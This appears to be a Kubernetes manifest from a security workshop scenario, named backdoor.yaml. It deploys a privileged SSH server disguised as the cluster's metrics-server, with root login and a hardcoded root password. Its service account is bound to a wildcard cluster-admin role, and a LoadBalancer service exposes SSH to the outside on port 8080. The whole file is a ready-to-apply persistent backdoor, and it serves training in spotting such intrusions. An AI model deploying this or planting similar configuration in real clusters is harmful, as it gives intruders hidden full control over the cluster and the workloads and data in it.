workshop/scenario_1/backdoor.yaml (68 lines of code) (raw):
apiVersion: apps/v1
kind: Deployment
metadata:
name: metrics-server-deployment
spec:
replicas: 1
selector:
matchLabels:
app: metrics-server
template:
metadata:
labels:
app: metrics-server
spec:
containers:
- name: metrics-server
image: testcontainers/sshd
command: ["sh", "-c", "echo $USERNAME:$PASSWORD | chpasswd && /usr/sbin/sshd -D -o PermitRootLogin=yes -o AddressFamily=inet -o GatewayPorts=yes -o AllowAgentForwarding=yes -o AllowTcpForwarding=yes -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostkeyAlgorithms=+ssh-rsa"]
ports:
- containerPort: 22
env:
- name: USERNAME
value: "root"
- name: PASSWORD
value: "Sup3r_S3cr3t_P@ssw0rd"
securityContext:
privileged: true
serviceAccountName: metrics-server-account
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: metrics-server-account
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: privileged-role
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: privileged-binding
subjects:
- kind: ServiceAccount
name: metrics-server-account
namespace: kube-system
roleRef:
kind: ClusterRole
name: privileged-role
apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Service
metadata:
name: metrics-server-service
spec:
type: LoadBalancer
selector:
app: metrics-server
ports:
- protocol: TCP
port: 8080
targetPort: 22